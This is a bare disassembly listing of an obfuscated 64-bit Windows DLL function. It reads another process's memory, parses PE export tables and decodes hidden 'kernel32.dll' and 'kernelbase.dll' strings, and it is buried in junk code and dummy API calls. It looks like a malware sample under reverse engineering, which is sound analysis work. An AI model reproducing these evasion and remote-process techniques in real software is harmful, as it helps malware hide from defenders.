mov dword [0x1800675f0], eax
mov eax, 2
test r13d, r13d
mov word [rsp + 0x54], ax
mov eax, dword [0x180067650]
sete cl
movzx edx, al
movzx eax, cl
imul eax, edx
mov byte [rsp + 0x58], al
movzx ecx, word [rsp + 0x54]
test ecx, ecx
je 0x18001d24d
sub ecx, 1
je 0x18001d244
cmp ecx, 1
jne 0x18001d25c
mov rax, qword [rbp - 0x40]
add eax, 0x92cfc0d8
mov dword [0x1800675f4], eax
jmp 0x18001d25c
mov r15b, 0x78
mov qword [rbp], r15
jmp 0x18001d25c
movsx rax, byte [0x1800675ff]
mov qword [0x1800675d8], rax
mov eax, dword [0x180bd5d30]
mov dword [rsp + 0x64], eax
movzx eax, byte [0x180067586]
cmp word [0x1800675fc], ax
ja 0x18001d28c
mov rax, qword [0x180067620]
mov ecx, 0x84412a93
add rax, rcx
mov qword [0x180067658], rax
mov ecx, dword [rsp + 0x64]
mov r14b, r8b
mov eax, dword [rbp + 0x18]
neg r14b
add ecx, eax
mov dword [rbp - 0x68], r14d
mov dword [rbp + 0x18], ecx
mov eax, dword [0x180067630]
mov cl, byte [0x18006756e]
sub cl, 0x3e
add al, cl
mov ecx, dword [rsp + 0x64]
mov byte [0x18006756e], al
mov eax, dword [rbp - 0x10]
add ecx, eax
mov dword [rbp - 0x10], ecx
mov ecx, dword [rsp + 0x64]
mov eax, dword [rbp - 0x38]
add ecx, eax
mov dword [rsp + 0x64], ecx
movabs rcx, 0xf8d07f903988b
mov dword [0x18006761c], 0xf903988b
mov rdx, qword [rbp - 0x78]
movsxd rax, dword [0x18006761c]
add rdx, rcx
cmp rax, rdx
jne 0x18001d336
mov ecx, dword [rsp + 0x74]
movsx eax, word [0x180067638]
add ecx, 0x4e36
cmp eax, ecx
jne 0x18001d336
call qword [sym.imp.USER32.dll_GetFocus]
xor r9d, r9d
test rax, rax
je 0x18001d336
mov rcx, rax
call qword [sym.imp.USER32.dll_GetMenu]
mov rcx, rax
mov edx, 1
call qword [sym.imp.USER32.dll_GetSubMenu]
xor r9d, r9d
mov dword [0x18006761c], 0xf903988b
mov eax, 1
add dword [rbp - 0x30], eax
mov al, byte [0x1800675fc]
sub al, 0x66
mov byte [0x180067586], al
mov ecx, dword [rsp + 0x64]
mov eax, dword [rbp + 8]
and ecx, eax
mov edx, dword [rbp + 0x18]
imul edx, ecx
mov ecx, dword [rsp + 0x64]
mov eax, dword [rsp + 0x64]
imul ecx, eax
mov eax, dword [rbp - 0x10]
imul eax, ecx
cmp eax, edx
je 0x18001d69e
call qword [sym.imp.USER32.dll_GetMessageTime]
mov dword [0x18006760c], eax
mov r8d, 1
mov rax, qword [rbp - 0x78]
mov edx, 0x9f83fb50
add rax, r8
mov qword [0x180067658], rdx
cmp qword [0x180067658], rax
jne 0x18001d3ec
mov rax, qword [0x180067620]
movzx ecx, r15b
add ecx, dword [0x180067674]
add r13d, ecx
sub r13d, eax
mov rax, qword [0x180067678]
mov qword [rbp + 0x10], r13
cmp rax, r8
jne 0x18001d3ec
mov al, byte [rbp - 0x80]
add al, 0x1a
and r14b, al
mov eax, dword [0x180067618]
mov qword [0x180067600], rax
mov dword [rbp - 0x68], r14d
mov eax, dword [0x18006759c]
mov ebx, 0x400
mov qword [0x180067658], rdx
xor edx, edx
mov ecx, edx
test eax, eax
movzx edx, word [rsp + 0x54]
movsx eax, word [rbp - 0x18]
sete cl
xor edx, ecx
movzx ecx, byte [0x180067583]
add ecx, eax
mov rax, qword [rbp - 0x30]
sub eax, dword [rbp - 0x40]
imul ecx, edx
mov rdx, r8
mov qword [rbp - 0x30], rax
not ecx
mov dword [0x180067608], ecx
mov ecx, ebx
call fcn.180041ec4
mov r8, qword [rbp + 0x30]
mov r12, rax
mov rdx, qword [rbp + 0x28]
mov r9, r12
mov rcx, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov qword [rbp + 0x78], rax
xor eax, eax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0x58]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rbx
call fcn.18001abb0
movzx r8d, word [rsp + 0x54]
xor r9d, r9d
mov rcx, qword [rbp - 0x48]
lea edx, [r9 + 7]
call fcn.180031a60
mov byte [0x1800675fe], al
mov r8d, 1
mov rax, qword [rbp - 0x50]
test rax, rax
je 0x18001d4cd
mov eax, dword [0x180067660]
cmp eax, esi
je 0x18001d4bb
mov eax, dword [0x1800675d8]
mov dword [0x180067634], eax
jmp 0x18001d4c9
movsx eax, byte [0x18006756e]
mov word [0x180ce462e], ax
xor esi, esi
jmp 0x18001d519
mov eax, dword [rsp + 0x74]
xor esi, esi
not eax
test eax, eax
je 0x18001d501
mov al, byte [0x180067648]
add al, r8b
movsx r14d, r14b
movsx ecx, al
mov eax, dword [0x180067630]
imul r14d, ecx
sub al, 0x22
mov byte [0x1800675be], al
mov dword [rbp - 0x68], r14d
jmp 0x18001d519
cmp dword [0x1800675f4], esi
je 0x18001d519
mov rax, qword [0x1800675e8]
and eax, 0x8a
mov qword [rbp - 0x60], rax
mov al, byte [rsp + 0x50]
cmp byte [0x18006762a], al
je 0x18001d58d
mov eax, dword [rsp + 0x74]
test eax, eax
je 0x18001d540
movzx eax, byte [0x180067668]
imul ecx, eax, 0xcd
mov byte [rsp + 0x58], cl
jmp 0x18001d58d
cmp byte [0x1800675fa], sil
mov ecx, esi
mov eax, dword [rsp + 0x74]
mov edx, esi
sete cl
cmp ecx, eax
mov rax, qword [0x1800675e8]
mov ecx, esi
not rax
setle dl
cmp rax, 0x3bec
setb cl
add ecx, edx
je 0x18001d58d
mov eax, 0xffffa8e3
mov word [0x180067670], ax
mov rax, qword [0x180067648]
add rax, 0xffffffffa82bc6a6
mov qword [rbp - 0x40], rax
movsxd rbx, dword [r12 + 0x3c]
lea rcx, [fcn.180041ec4]
mov qword [rsp + 0x40], rsi
add rbx, r12
mov qword [rsp + 0x38], rsi
xor r9d, r9d
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rsi
mov edx, dword [rbx + 0x50]
mov qword [rsp + 0x20], rsi
call fcn.18001abb0
mov ecx, dword [rbx + 0x50]
mov r12, rax
mov r8, qword [rbp + 0x30]
mov r9, r12
mov rdx, qword [rbp + 0x28]
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x38], rsi
mov qword [rbp + 0x38], rax
lea rax, [rbp + 0x58]
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
mov rcx, qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
call fcn.18001abb0
movzx edx, word [rsp + 0x54]
xor r8d, r8d
xor ecx, ecx
call fcn.180031098
mov esi, dword [rbp - 0x80]
xor r9d, r9d
mov byte [rsp + 0x50], al
mov edx, r9d
movsx ecx, word [0x180067670]
not ecx
movzx eax, si
cmp ecx, 0x41b5
setg dl
add rax, rdi
cmp rdx, rax
ja 0x18001d64f
movzx eax, word [rsp + 0x54]
movsx eax, byte [0x1800675f9]
imul eax, r13d
cdqe
mov qword [rbp - 0x70], rax
jmp 0x18001d694
mov eax, 0x460
xor ax, word [0x18006756c]
not ax
mov word [rsp + 0x54], ax
movsx eax, byte [0x18006756f]
movsx edx, byte [rsp + 0x50]
movsx r8, word [rsp + 0x5c]
imul edx, eax
mov rax, qword [rbp - 0x70]
imul edx, r13d
movsxd rdx, edx
add r8, rdx
sub r8b, 0x68
add r8b, al
mov byte [0x180067586], r8b
movsxd rbx, dword [r12 + 0x3c]
add rbx, r12
jmp 0x18001d6a1
mov esi, dword [rbp - 0x80]
mov qword [rbp + 0x20], r12
jmp 0x18001d800
mov r8, rax
mov edx, 0x89
xor ecx, ecx
call fcn.180031dcc
xor r8d, r8d
mov dword [0x180067674], eax
test eax, eax
je 0x18001d6ea
mov rax, qword [0x180067640]
movabs rcx, 0x5f64ee3fc82a4
add rax, rcx
mov r14b, 0x3c
mov qword [0x1800675d0], rax
mov dword [rbp - 0x68], r14d
jmp 0x18001d71d
mov rax, qword [0x1800675e0]
lea edx, [r13 + 0x2b9413f7]
add al, 0x1b
mov ecx, r8d
add al, byte [0x1800675e8]
movzx eax, al
test edx, edx
cmove ecx, eax
mov eax, dword [rsp + 0x70]
sub eax, 0x8f1c
mov byte [0x18006762a], cl
mov dword [rbp - 0x30], eax
mov eax, dword [0x180bd5d30]
mov dword [rsp + 0x64], eax
mov eax, dword [rsp + 0x64]
add eax, 0x71d
mov dword [rbp + 8], eax
call qword [sym.imp.USER32.dll_GetMessageTime]
mov ecx, dword [rsp + 0x64]
movzx esi, ax
mov eax, dword [rbp - 0x28]
add ecx, eax
mov dword [rbp - 0x38], ecx
mov rcx, qword [rbp - 0x70]
movzx eax, byte [rsp + 0x6c]
imul rcx, rdi
mov dword [rbp - 0x80], esi
add eax, ecx
mov dword [str.hZn0], eax
mov ecx, dword [rsp + 0x64]
mov eax, dword [rsp + 0x60]
add ecx, eax
mov dword [rsp + 0x60], ecx
mov edx, dword [rsp + 0x60]
mov eax, dword [rbp - 0x38]
imul edx, eax
mov eax, dword [rsp + 0x60]
mov ecx, dword [rsp + 0x60]
add eax, 0x325
add edx, eax
mov eax, dword [rbp - 0x38]
imul ecx, eax
mov eax, dword [rsp + 0x60]
sub ecx, eax
cmp ecx, edx
je 0x18001d7fd
movsx ecx, word [0x18006756c]
call qword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov dword [rsp + 0x74], eax
xor r9d, r9d
mov rax, qword [0x1800675d0]
cmp dword [0x180067664], r9d
je 0x18001d7c4
movzx eax, word [0x180067634]
jmp 0x18001d7c9
movzx eax, byte [rsp + 0x6c]
mov rcx, qword [rbp + 0x30]
mov word [0x180067654], ax
mov r12, rcx
mov eax, dword [0x18006761c]
xor eax, 0x81cf
mov qword [rbp + 0x38], rcx
mov dword [rsp + 0x78], eax
mov rax, qword [rbp - 0x78]
mov dword [0x180067674], eax
movsxd rbx, dword [rcx + 0x3c]
add rbx, rcx
jmp 0x18001d800
xor r9d, r9d
cmp dword [rbx + 0x88], r9d
je 0x18001e4ae
movzx eax, byte [0x1800675fb]
mov ecx, 0x16c7
sub ax, cx
mov byte [0x1800675f8], r14b
mov word [0x180067654], ax
mov rax, qword [rbp + 0x10]
mov r13d, dword [rbx + 0x88]
add dword [0x180067608], eax
add r13, r12
mov rax, qword [0x1800675d0]
test rax, rax
movzx eax, word [rsp + 0x68]
jne 0x18001d853
mov rax, qword [rbp - 0x50]
mov qword [0x180067640], rax
mov eax, dword [r13 + 0x1c]
movsx rcx, byte [0x1800675f9]
add rax, r12
mov qword [rbp + 8], rax
call qword [sym.imp.USER32.dll_OpenIcon]
movsx rcx, byte [0x18006756e]
xor r9d, r9d
mov word [0x18006763c], ax
mov edx, r9d
mov eax, dword [r13 + 0x20]
add rax, r12
cmp rcx, qword [rbp - 0x48]
mov qword [rbp - 0x10], rax
mov eax, r9d
sete dl
cmp cl, 0x16
sete al
cmp edx, eax
jbe 0x18001d8ba
mov rcx, qword [0x1800675d0]
movzx eax, word [rsp + 0x54]
sub cx, ax
mov word [rbp - 0x18], cx
mov rax, qword [rbp - 0x78]
mov ebx, r9d
mov esi, dword [r13 + 0x24]
add al, 0x5d
add rsi, r12
mov byte [0x1800675ff], al
mov qword [rbp - 0x28], rsi
mov dword [rsp + 0x60], ebx
cmp dword [r13 + 0x18], r9d
jbe 0x18001e4ab
call qword [sym.imp.USER32.dll_GetFocus]
xor r9d, r9d
test rax, rax
je 0x18001d902
xor edx, edx
lea r8d, [r9 + 1]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetUpdateRect]
xor r9d, r9d
cmp word [0x1800675fc], r9w
je 0x18001d91e
mov al, byte [0x18006756c]
not al
add al, byte [0x1800675fb]
mov byte [rsp + 0x58], al
mov eax, dword [rsp + 0x70]
add word [0x180067638], ax
mov rcx, qword [rbp + 8]
mov r12d, ebx
movzx eax, word [rsi + r12*2]
mov r15d, dword [rcx + rax*4]
add r15, qword [rbp + 0x38]
cmp ebx, dword [r13 + 0x18]
jae 0x18001da22
mov edx, dword [rbp - 0x80]
mov ecx, r9d
movzx eax, dx
cmp eax, dword [0x180067674]
mov eax, r9d
setbe cl
cmp dx, 0x2b
setbe al
cmp ecx, eax
jb 0x18001db98
mov rbx, qword [rbp]
movzx ecx, bl
call qword [sym.imp.USER32.dll_OpenIcon]
mov r8, qword [rbp - 0x48]
xor r9d, r9d
mov dword [rsp + 0x78], eax
test bl, bl
je 0x18001d992
test r8, r8
je 0x18001d992
lea edx, [r9 + 1]
jmp 0x18001d995
mov edx, r9d
movsx rax, r14b
mov ecx, r9d
cmp r8, rax
mov eax, 1
cmovae edx, eax
mov eax, dword [rsp + 0x74]
test eax, eax
setle cl
cmp ecx, edx
jae 0x18001db81
mov rax, qword [0x180067600]
test rax, rax
je 0x18001db10
mov eax, dword [0x1800675cc]
add eax, 0xffffff34
mov dword [0x18006759c], eax
mov eax, dword [0x180067648]
add eax, 0x3f6c
mov dword [0x180067630], eax
mov ebx, dword [rsp + 0x60]
movzx eax, word [rbp - 0x18]
mov ecx, 0x385c
sub ax, cx
add word [0x180067628], ax
mov eax, dword [rsp + 0x78]
sub eax, 0x8bb0
not eax
mov dword [0x180067630], eax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax + r12*4]
add rax, qword [rbp + 0x38]
mov qword [rbp + 0x60], rax
lea rdx, [rbp + 0x40]
mov rcx, r15
call fcn.18002157c
mov r14d, eax
cmp eax, 1
jbe 0x18001e48b
call fcn.1800278f0
mov rsi, rax
mov qword [rbp - 0x20], rax
xor eax, eax
lea rcx, [fcn.180040a60]
mov qword [rsp + 0x40], rax
mov r9d, 0x104
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rax
lea rdx, [rsi + 0x18]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
call fcn.18001abb0
mov r8, qword [rbp + 0x60]
lea rdx, [rsi + 0x18]
xor eax, eax
lea rcx, [0x180041d60]
mov qword [rsp + 0x40], rax
mov r9d, 0x103
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
call fcn.18001abb0
mov rcx, qword [rbp - 0x28]
mov rbx, qword [rbp + 0x30]
mov qword [rsi], rbx
movzx eax, word [rcx + r12*2]
mov word [rsi + 8], ax
movzx eax, word [rcx + r12*2]
mov r12d, 2
mov rcx, qword [rbp + 8]
mov ecx, dword [rcx + rax*4]
add rcx, rbx
mov qword [rsi + 0x10], rcx
cmp r14d, r12d
jne 0x18001dbbe
mov rax, qword [rbp - 0x60]
mov rax, qword [rbp - 0x60]
mov rcx, qword [rbp + 0x40]
movsxd rax, dword [rcx + r15]
add rcx, 4
add rax, qword [rsi + 0x10]
mov rsi, qword [rbp - 0x20]
add rcx, rax
mov qword [rsi + 0x220], rcx
jmp 0x18001dd79
movsx rcx, byte [0x1800675ff]
mov rax, qword [rbp - 0x70]
cmp rax, rcx
je 0x18001db30
and bl, byte [0x180067628]
mov qword [rbp], rbx
jmp 0x18001d9ea
mov eax, dword [str.hZn0]
test eax, eax
jle 0x18001db58
movzx eax, word [rsp + 0x5c]
mov rcx, r9
test ax, ax
mov rax, qword [0x180067640]
sete cl
cmp rcx, rax
jg 0x18001d9ea
movzx eax, bl
mov ecx, 0x29
sub cx, ax
movsx eax, byte [0x1800675ff]
xor cx, ax
mov eax, 0x289b
add cx, ax
mov word [0x180067654], cx
jmp 0x18001d9ea
mov al, byte [rbp - 0x30]
add al, dil
mov qword [rbp - 0x48], 0xe4
mov byte [rsp + 0x50], al
jmp 0x18001d9ea
mov ecx, dword [0x180067608]
mov rax, qword [rbp - 0x78]
not ecx
cmp rax, rcx
jbe 0x18001d9ee
mov al, byte [0x180e8ec82]
mov byte [0x180067587], al
jmp 0x18001d9ee
cmp r14d, 3
jne 0x18001dd04
mov rcx, qword [0x180067600]
xor r14d, r14d
mov rax, qword [0x1800675e0]
mov edx, r14d
cmp rcx, rax
mov rax, qword [0x180067600]
mov ecx, r14d
setle dl
cmp rax, 0x63
setle cl
cmp edx, ecx
jae 0x18001dcec
mov rdx, qword [0x180067600]
mov r8, rdi
mov ecx, 0xeb
call fcn.180031dcc
cmp qword [0x180067668], r14
mov cl, al
movzx eax, byte [0x1800675fb]
mov dword [rbp - 0x68], ecx
mov ecx, r14d
sete cl
cmp ecx, eax
ja 0x18001dcec
movzx eax, word [rsp + 0x54]
not eax
cmp eax, dword [0x180067618]
je 0x18001dcec
movzx eax, byte [rsp + 0x58]
mov ecx, dword [0x180067650]
imul ecx, eax
mov eax, dword [0x180067650]
mov dword [0x1800675f4], r12d
sub eax, ecx
mov dword [0x180067650], eax
mov eax, dword [0x1800675f4]
test eax, eax
je 0x18001dcbc
sub eax, 1
je 0x18001dca4
cmp eax, 1
jne 0x18001dcec
mov rax, qword [rbp - 0x40]
movsx rcx, word [rsp + 0x5c]
mov rdx, qword [rbp - 0x48]
add rcx, rax
or rax, rcx
add rdx, rdx
mov qword [rbp - 0x40], rax
movsx rax, word [rsp + 0x5c]
sub rdx, rax
mov qword [rbp - 0x48], rdx
jmp 0x18001dcec
movzx ecx, byte [0x180067587]
mov eax, 0x21c5
add cx, ax
mov word [0x180067670], cx
jmp 0x18001dcec
movzx ecx, byte [0x180067587]
mov rax, qword [0x180067640]
sub rcx, rax
movsx rax, word [0x18006756c]
add rax, rdi
xor rax, rcx
not rax
mov qword [rbp - 0x50], rax
mov eax, dword [rbp - 0x80]
sub word [0x1800675fc], ax
mov rcx, qword [rsi + 0x10]
mov rax, qword [rbp + 0x40]
mov rsi, qword [rbp - 0x20]
mov edx, dword [rcx + rax]
mov qword [rsi + 0x220], rdx
jmp 0x18001dd7c
cmp r14d, 4
jne 0x18001dd79
movzx ecx, word [0x180067584]
call qword [sym.imp.KERNEL32.dll_SetLastError]
mov al, byte [0x180067586]
lea rcx, [rbp + 0x178]
mov al, byte [0x180067586]
movups xmm0, xmmword [str.Discovery_failed.]
mov eax, dword [0x18004bc30]
movups xmm1, xmmword [0x18004bc20]
mov dword [rbp + 0x198], eax
movups xmmword [rbp + 0x178], xmm0
movups xmmword [rbp + 0x188], xmm1
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [0x180067630], eax
mov rdx, qword [rsi + 0x10]
mov rax, qword [rbp + 0x40]
mov rsi, qword [rbp - 0x20]
mov ecx, dword [rdx + rax]
mov rax, qword [rcx + rdx + 6]
mov qword [rsi + 0x220], rax
xor r14d, r14d
mov rdx, qword [rsi + 0x220]
lea r8, [rbp + 0x80]
mov rcx, qword [sym.imp.KERNEL32.dll_VirtualQuery]
mov r9d, 0x30
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], r14
call fcn.18001abb0
test rax, rax
jne 0x18001de46
movzx ecx, byte [0x180067587]
mov eax, 0x180b
mov r12, qword [rbp + 0x48]
sub cx, ax
mov word [0x180067670], cx
mov ecx, 0x13bc
movzx eax, byte [rsp + 0x6c]
add ax, cx
mov word [0x180067628], ax
cmp r12, qword [rbp + 0x68]
jae 0x18001de10
mov rcx, qword [rbp + 0x70]
movzx edi, byte [rsp + 0x6c]
mov rax, qword [rbp - 0x20]
sub edi, 0x5279f556
mov qword [rcx + r12*8], rax
inc r12
mov qword [rbp + 0x48], r12
mov r12, qword [rbp + 0x50]
lea rcx, [rbp - 0x20]
mov eax, 0x23a9
mov dword [rbp - 0x58], 4
add eax, edi
mov word [rsp + 0x68], ax
mov eax, 1
add dword [r12], eax
call fcn.18001f524
mov ebx, dword [rsp + 0x60]
mov rsi, qword [rbp - 0x28]
jmp 0x18001e493
cmp qword [rbp + 0x88], rbx
jne 0x18001df0c
mov r15, qword [rbp]
mov ecx, dword [str.hZn0]
movzx eax, r15b
cmp eax, ecx
jg 0x18001def6
mov ecx, dword [0x180067674]
call qword [sym.imp.KERNEL32.dll_IsValidCodePage]
mov eax, eax
mov qword [rbp - 0x70], rax
movsxd rcx, dword [rsp + 0x70]
mov rax, qword [0x180067640]
cmp rax, rcx
jge 0x18001dea7
movzx eax, byte [rsp + 0x58]
movabs rcx, 0x87273e5d824d3
xor rax, rcx
mov qword [0x180067620], rax
jmp 0x18001def6
mov al, byte [rsp + 0x50]
test al, al
je 0x18001debc
movzx eax, byte [rsp + 0x6c]
mov dword [0x1800675f4], eax
jmp 0x18001def6
movzx eax, word [rsp + 0x54]
mov edx, r14d
cmp qword [rbp - 0x48], rax
movsx ecx, byte [0x1800675fe]
setbe dl
not ecx
cmp ecx, edx
jle 0x18001def6
movzx eax, word [0x180067670]
add al, 0x47
mov byte [0x1800675fa], al
movzx eax, word [rbp - 8]
shl rax, 4
mov qword [0x1800675d0], rax
lea rcx, [rbp - 0x20]
call fcn.18001f524
mov ebx, dword [rsp + 0x60]
mov rsi, qword [rbp - 0x28]
jmp 0x18001e497
mov qword [rsp + 0x40], r14
lea rdx, [rbp + 0x2b0]
mov qword [rsp + 0x38], r14
lea rcx, [fcn.180040a60]
mov qword [rsp + 0x30], r14
mov r9d, 0x104
mov qword [rsp + 0x28], r14
xor r8d, r8d
mov qword [rsp + 0x20], r14
call fcn.18001abb0
movsx rax, byte [rsp + 0x50]
xor r9d, r9d
mov r12d, dword [rbp - 0x80]
xor ecx, ecx
movsx rdx, byte [0x18006762a]
movzx r8d, r12w
mov qword [rsp + 0x20], rax
call fcn.180031504
mov r15, qword [rbp]
mov rsi, qword [rbp + 0x10]
mov word [0x1800675fc], ax
test ax, ax
je 0x18001df8f
movzx eax, word [rsp + 0x54]
lea ecx, [rsi + 0x36]
neg al
mov dword [rbp - 0x68], ecx
mov byte [0x1800675ff], al
jmp 0x18001dfaa
test r15b, r15b
je 0x18001dfaa
mov eax, dword [rsp + 0x74]
add eax, dword [rbp - 0x30]
mov dword [rsp + 0x74], eax
movzx eax, r15b
imul rdi, rax, 0xf652
mov rdx, rbx
lea r8, [rbp + 0x2b0]
mov rbx, qword [rbp + 0x28]
mov r9d, 0x104
mov rcx, rbx
call fcn.18001f7b4
mov qword [rsp + 0x40], r14
lea rdx, [rbp + 0x3c0]
mov qword [rsp + 0x38], r14
lea rcx, [fcn.180040a60]
mov qword [rsp + 0x30], r14
mov r9d, 0x104
mov qword [rsp + 0x28], r14
xor r8d, r8d
mov qword [rsp + 0x20], r14
call fcn.18001abb0
mov dl, byte [rsp + 0x50]
xor ecx, ecx
call fcn.180031edc
movzx ecx, al
mov edx, r14d
mov eax, 0x25
mov word [rbp - 0x18], cx
cmp cx, ax
mov eax, r14d
setne dl
test cx, cx
setne al
cmp eax, edx
jae 0x18001e041
mov eax, dword [rsp + 0x78]
test eax, eax
mov rdx, qword [rbp - 0x48]
movzx ecx, r15b
cmovne rdx, rcx
mov qword [0x180067610], rdx
mov rdx, qword [rbp + 0x88]
lea r8, [rbp + 0x3c0]
mov r9d, 0x104
mov rcx, rbx
call fcn.18001f7b4
mov rax, r14
mov dword [rbp + 0xb0], 0x928e9997
mov ecx, 1
mov dword [rbp + 0xb4], 0xcecf9099
mov dword [rbp + 0xb8], 0x909098d2
mov byte [rbp + 0xbc], r14b
xor byte [rbp + rax + 0xb0], 0xfc
add rax, rcx
cmp rax, 0xc
jb 0x18001e08a
lea rdx, [rbp + 0xb0]
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
je 0x18001e19d
mov dword [rbp + 0xc0], 0x6b6f6268
mov rax, r14
mov dword [rbp + 0xc4], 0x5e5f6962
mov ecx, 1
mov dword [rbp + 0xc8], 0x612b6270
mov word [rbp + 0xcc], 0x6969
mov byte [rbp + 0xce], r14b
add byte [rbp + rax + 0xc0], 3
add rax, rcx
cmp rax, 0xe
jb 0x18001e0ee
lea rdx, [rbp + 0xc0]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.SHLWAPI.dll_StrStrIA]
test rax, rax
je 0x18001e19d
movsxd rcx, dword [rsp + 0x70]
mov edx, r14d
mov rax, qword [rbp - 0x78]
cmp rcx, rax
mov eax, dword [rsp + 0x70]
mov ecx, r14d
sete dl
cmp eax, 0x25
sete cl
cmp edx, ecx
jbe 0x18001e156
movzx edx, word [rsp + 0x54]
movsx ecx, byte [rsp + 0x50]
add cx, dx
mov word [rsp + 0x54], cx
jmp 0x18001def6
mov rax, qword [rbp - 0x78]
mov edx, r14d
test rax, rax
movsx eax, byte [rsp + 0x50]
sete dl
cmp edx, eax
jl 0x18001def6
mov eax, dword [rsp + 0x70]
movzx ecx, word [0x18006763c]
sub ecx, eax
mov eax, dword [rsp + 0x70]
add eax, ecx
movabs rcx, 0x7139fa44d2b2b
mov dword [rsp + 0x70], eax
mov rax, qword [rbp - 0x60]
add rax, rcx
jmp 0x18001deef
mov qword [rsp + 0x40], r14
lea rdx, [rbp + 0x1a0]
mov qword [rsp + 0x38], r14
lea rcx, [fcn.180040a60]
mov qword [rsp + 0x30], r14
mov r9d, 0x104
mov qword [rsp + 0x28], r14
xor r8d, r8d
mov qword [rsp + 0x20], r14
call fcn.18001abb0
mov rdx, qword [rbp + 0x88]
lea r14d, [r12 + 0x29]
mov r9d, 0x104
mov dword [rbp - 0x68], r14d
lea r8, [rbp + 0x1a0]
mov qword [rbp - 0x70], 0x82aa
mov rcx, rbx
call fcn.18001f7b4
mov rbx, qword [rbp - 0x20]
lea r8, [rbp + 0x1a0]
xor eax, eax
lea rcx, [0x180041d60]
mov qword [rsp + 0x40], rax
add rbx, 0x11c
mov qword [rsp + 0x38], rax
mov r9d, 0x103
mov qword [rsp + 0x30], rax
mov rdx, rbx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
call fcn.18001abb0
xor eax, eax
lea rcx, [0x180042230]
mov qword [rsp + 0x40], rax
xor r9d, r9d
mov qword [rsp + 0x38], rax
xor r8d, r8d
mov qword [rsp + 0x30], rax
mov rdx, rbx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
call fcn.18001abb0
xor r9d, r9d
test rax, rax
je 0x18001e359
mov qword [rsp + 0x40], r9
lea eax, [r15 + 4]
mov qword [rsp + 0x38], r9
lea rdx, [rbp + 0x1a0]
mov qword [rsp + 0x30], r9
lea rcx, [fcn.180040a60]
mov qword [rsp + 0x28], r9
xor r8d, r8d
mov qword [rsp + 0x20], r9
mov r9d, 0x104
mov byte [rsp + 0x50], al
call fcn.18001abb0
mov ecx, dword [0x1800675f0]
call qword [sym.imp.USER32.dll_OpenIcon]
mov rdx, qword [rbp + 0x30]
lea r8, [rbp + 0x1a0]
mov rcx, qword [rbp + 0x28]
mov r9d, 0x104
mov word [rbp - 0x18], ax
call fcn.18001f7b4
lea rdx, [rbp + 0x1a0]
mov rcx, rbx
call fcn.18001f1bc
xor r9d, r9d
test eax, eax
je 0x18001e359
mov eax, dword [0x18004bc58]
lea rcx, [rbp + 0x150]
movups xmm0, xmmword [str.Indicates_that_a_c]
mov dword [rbp + 0x170], eax
movups xmm1, xmmword [0x18004bc48]
movzx eax, word [0x18004bc5c]
movups xmmword [rbp + 0x150], xmm0
mov word [rbp + 0x174], ax
movups xmmword [rbp + 0x160], xmm1
call qword [sym.imp.KERNEL32.dll_lstrlenW]
lea rcx, [rbp - 0x20]
mov byte [0x1800675fe], al
call fcn.18001f524
mov ebx, dword [rsp + 0x60]
mov rsi, qword [rbp - 0x28]
jmp 0x18001e49b
mov r8, qword [rbp + 0x48]
cmp r8, qword [rbp + 0x68]
jae 0x18001e456
movzx eax, word [rsp + 0x54]
movabs rcx, 0xfff1927a6c339683
sub rcx, rax
mov rax, qword [rbp - 0x20]
add rdi, rcx
mov rcx, qword [rbp + 0x70]
mov qword [rcx + r8*8], rax
mov ecx, r9d
movzx eax, word [0x180067628]
cmp esi, eax
mov eax, r9d
setle cl
cmp esi, 0x3f
setle al
cmp ecx, eax
ja 0x18001e3c3
movzx ecx, word [rsp + 0x54]
mov eax, dword [0x1800675f0]
sub ecx, eax
movzx eax, word [rsp + 0x54]
or ax, cx
mov word [rsp + 0x54], ax
jmp 0x18001e448
mov rcx, qword [rbp - 0x78]
mov rax, qword [0x1800675d0]
not rcx
cmp rax, rcx
jae 0x18001e3fe
mov al, byte [0x1800675fb]
mov ecx, dword [0x180067660]
add al, al
sub al, byte [0x1800675e8]
mov byte [0x1800675fb], al
mov rax, qword [rbp - 0x60]
not eax
sub eax, ecx
mov dword [rsp + 0x78], eax
jmp 0x18001e448
mov al, byte [rsp + 0x50]
mov ecx, r9d
test al, al
movzx edx, r12w
sete cl
cmp edx, ecx
jae 0x18001e425
movzx eax, word [0x180ce45e4]
add byte [0x1800675f8], 0x3d
mov dword [rbp - 8], eax
jmp 0x18001e448
mov rax, qword [rbp - 0x70]
mov rax, qword [rbp - 0x60]
not al
movzx eax, al
imul ecx, eax, 0xef
imul eax, edx, 0x59c2b0d1
mov byte [rsp + 0x58], cl
add dword [0x180067664], eax
mov ebx, 1
add r8, rbx
mov qword [rbp + 0x48], r8
jmp 0x18001e45b
mov ebx, 1
mov rax, qword [0x180067600]
test rax, rax
je 0x18001e480
movsx rcx, byte [rsp + 0x50]
mov rax, qword [rbp - 0x78]
movzx edx, cl
movzx ecx, al
imul ecx, edx
mov byte [0x180067586], cl
mov rax, qword [rbp + 0x50]
add dword [rax], ebx
jmp 0x18001e34c
mov qword [rbp - 0x60], 1
mov r15, qword [rbp]
mov r14d, dword [rbp - 0x68]
inc ebx
mov dword [rsp + 0x60], ebx
cmp ebx, dword [r13 + 0x18]
jb 0x18001d8e2
